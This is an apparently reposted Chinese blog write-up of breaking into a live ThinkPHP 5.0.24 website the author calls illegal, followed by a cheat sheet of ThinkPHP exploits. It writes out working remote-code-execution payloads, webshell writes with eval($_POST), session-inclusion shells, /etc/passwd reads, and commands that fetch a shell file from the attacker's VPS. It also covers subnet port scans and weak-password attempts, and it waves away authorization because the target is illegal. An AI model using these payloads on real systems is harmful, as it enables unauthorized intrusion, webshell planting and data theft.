記一次tp5.0.24


記錄一下tp5.0.24,感覺此站應該是閹割版,按理來說tp5.0.24應該沒有rce的。
網站是非法站點,不用擔心未授權。

還是先報錯一手,發現是5.0.24的,當時想應該沒有希望了,但是還是抱着試一試的心態,用exp打一打

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

然后發現打動了,哈哈哈哈。disable_function倒是挺多的

心里有一些小激動,然后想的是直接用exp拿下

s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

失敗

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=%3C?php%20@eval($_POST[%27code%27]);?%3E

失敗
session包含

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1       //寫入session

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_oi14rt2tefacbtgcg7arrfnpo6&x=phpinfo();       //包含session

失敗
然后就有一些無語,想的是我們用常規的exp能打出來,但是寫不進去shell。既然能打出phpinfo。那么網站肯定是存在RCE。現在的思路就是就是通過讀文件讀出日志的位置,因為這一類站的路由都是在上一級,而且日志的位置可能還改了位置,所以我們需要先fuzzing一下日志位置,在包含拿下。

_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd

然后用exp去讀取文件,既然沒有返回,想了想因該是權限不夠。

因為出了phpinfo()嘛,我們可以根據路徑讀一下其他php文件,看看exp生不生效。

然后我們去讀數據庫文件,看看可不可以外連,一般名字為config.php,database.php,config.php.inc,目錄一般在application/data,data,或者就在根目錄下

讀出數據庫的時候,想了想只是要數據,其實不拿shell也行,就去外連,不出意外的沒有連上。還是的硬打。
然后就繼續fuzzing,成功的找到了日志的位置,這個時候想的是日志包含getshell,但是失敗了,無法讀取到,應該是對日志做了限制

現在既然有了數據庫的賬號密碼,希望有一手phpmyadmin吧,結果站點也沒有,就把希望放在了c段上,掃了一波端口,整個c段類似的站點都掃了一遍,都沒有phpmyadmin,其他端口也掃了一下,999呀這些的,都沒有找到phpmyadmin有點難受。
ps:其實不僅僅可以看看phpmyadmin,有些站可能有adminer.php。上次有個站點就有一個adminer,有數據庫賬號密碼,直接抱緊去拿下shell。我們都可以看看。
然后又去后台,有驗證碼,也抱不動,簡單的試了一下弱口令,沒有什么用。登不進去,tmd的,我都煩死了。
沒辦法,還是的回到tp的反序列化,然后當我在仔細看disable_function的時候tm好像沒有禁用exec,這尼瑪,我tm吐了,這不用exp打一打?

s=whoami&_method=__construct&method=&filter[]=exec


沒有反應??(當時猜測應該是disable_funciton的問題,就是拿到了shell,set=127這種情況)然后又換成了ping dnslog。這里也不貼圖了發現dnslog這邊沒有反應,但是服務器這邊確實一直在轉,我感覺命令肯定是執行了,有問題的,然后用

wget vps/a.txt&_method=__construct&method=&filter[]=exec

成功寫上了txt。
然后用python給自己的vps開一個web端口

python3 -m http.server 1337
s=exec vps:1377/shell.php&_method=__construct&method=&filter[]=exec

訪問之,成功拿下

總結:
其實有些時候遇見tp5.0.24的,還是嘗試一下,因為有一些是二次開發的,難免會存在tp5.0.*其他版本的漏洞,還有就是的信息,當打不動的時候,在回過頭看看是不是遺漏了什么。本次思路,回過頭來看,還是挺簡單的,相當於常規的tp站點,禁用了大眾的執行命令的函數,然后一個rce。
關於滲透tp的站點,
我也挺菜的,總結的也很水,首先是tp3的,tp3的漏洞我實際上見過的只有注入,日志泄露,至於我沒有手動復現過的,tp3.2.3的緩存寫入shell,土司有一個表哥發了一個后門,public/upload/gift/這個目錄有上傳,還有mochazz大佬審計的前台rce,認識的表哥可以舔舔,舔到了私信我,我也來舔你。
先說日志:

Application//Runtime/Logs/Admin/20_05_01.log            
Application//Runtime/Logs/Index/20_05_01.log            
Application/runtime/logs/home/16_09_09.log

這些都是tp3的日志,linux注意區分大小寫,還有就是application可能會是app,也有直接runtime起手的
有些時候日志不是以年月日來命名,可能會是01_sql.log 01_error.log
再說注入:
注入就自己找,唯一說一點得得就是注入可以配合日志打組合拳,什么意思呢,就是xxid=1這個點存在注入,但是當我們把paylaod發進去,卻沒有數據出來,其實是有數據的,他在日志里而已。
關於tp5的
首先就是各類RCE,關於打phpinfo的

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=phpinfo&get[]=-1       
_method=__construct&filter[]=system&method=get&get[]=phpinfo       
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=_constrcuct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
寫入shell的
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=<?php @eval($_POST[1]);?>
think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo'%3C?php%20@eval($_POST[1]);?%3E%27%3E.axgg.php
s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

日志,session寫入,包含getshell。這里就不貼payload了,網上有很多,這里就說一些注意事項吧,寫入php被過濾的時候,可以考慮base64加密,實在不行就用file_put_content用a+的追加的方式一個一個寫入。至於session寫入繞過的話,我們可以用偽協議來包含.
https://xz.aliyun.com/t/6106
然后是讀取文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/data/app/lottery/public        //羅列目錄位置
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
s=include("/etc/passwd")&_method=__construct&filter=assert      //讀取文件

關於日志

runtime/log/202009/30.log                
runtime/logs/202009/30.log            
runtime/log/202009/03_sql.log        
runtime/logs/home/16_09_09.log
Application//Runtime/Logs/202005/01.log

轉 https://xz.aliyun.com/t/9112


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM